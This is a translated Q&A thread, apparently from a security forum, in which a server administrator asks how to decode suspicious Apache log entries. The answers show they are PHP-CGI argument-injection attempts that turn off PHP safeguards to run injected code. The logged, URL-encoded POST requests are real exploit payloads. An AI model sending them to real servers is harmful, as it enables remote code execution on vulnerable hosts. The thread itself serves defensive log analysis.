¿Cómo decodificar este escáner de exploits?

3

Obviamente, mi servidor está actualizado y no es vulnerable a las vulnerabilidades de shellshock.

Sin embargo, sigo sintiendo curiosidad y me gustaría entender cómo descodificar el siguiente análisis de vulnerabilidad maliciosa. Tengo una larga serie de estos en mis registros, probando varios nombres de script cgi:

root@ks304960 01:41:29 /var/log/apache2 # cat access.log | grep -v "internal dummy connection" | grep cgi
162.247.73.74 - - [26/Sep/2014:04:02:58 +0000] "POST /cgi-bin/php/%63%67%69%6E/%70%68%70?%2D%64+%61%6C%75%6F%6E+%2D%64+%6D%6F%64+%2D%64+%73%75%68%6F%6E%3D%6F%6E+%2D%64+%75%6E%63%74%73%3D%22%22+%2D%64+%64%6E%65+%2D%64+%61%75%74%6F%5F%70%72%%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%74%5F%3D%30+%2D%64+%75%74+%2D%6E HTTP/1.1" 404 452 "-" "-"
104.194.6.175 - - [26/Sep/2014:18:23:29 +0000] "POST /cgi-bin/php5?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 467 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
104.194.6.175 - - [26/Sep/2014:18:24:13 +0000] "POST /cgi-bin/php.cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 470 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

¿Cómo decodificar la cadena en la POST? Además de analizar la vulnerabilidad de shellshock, ¿qué está tratando de lograr?

Más ejemplos de exploración de exploits aquí: ¿Cómo funciona este análisis de shellshock?

    
pregunta augustin 27.09.2014 - 03:57
fuente

3 respuestas

5

Los valores solo están codificados en URL, puede decodificar la cadena de consulta usando esto: enlace

El primero:

En este caso, la ruta real está codificada.

%63%67%69%6E/%70%68%70 -> cgin/php

La cadena de consulta real se decodifica a:

-d aluon -d mod -d suhon=on -d uncts="" -d dne -d auto_prt -d cgi.force_redirect=0 -d t_=0 -d ut -n

La única advertencia es que parece que hay un% adicional en 72 %% 74 que debe eliminarse para decodificarlo correctamente. No estoy seguro de si esto fue solo un error.

Segundo / Tercero

La cadena de consulta se decodifica a:

-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n

En ambos casos, puedes ver que obviamente están intentando inyectar código de shell en los argumentos del intérprete de PHP.

    
respondido por el thexacre 27.09.2014 - 04:27
fuente
8

No está buscando el exploit "shell shock". Está buscando un exploit antiguo en el que un servidor mal configurado deja una copia del intérprete de PHP en el directorio CGI, lo que permite la ejecución remota de código arbitrario.

    
respondido por el Mark 27.09.2014 - 04:26
fuente
1

Puedes decodificar esto usando el siguiente comando de shell:

echo "%2D%64+%61%6C%6C" | sed "s@+@ @g;s@%@\\x@g" | xargs -0 printf "%b"

Esto es básicamente una cadena de codificación de URL que se utiliza en una parte de consulta de una URL. Cada parte con un signo de porcentaje ( % ) seguido de dos dígitos hexadecimales y espacios codificados como signos más ( + ).

    
respondido por el kenorb 27.07.2016 - 02:13
fuente

Lea otras preguntas en las etiquetas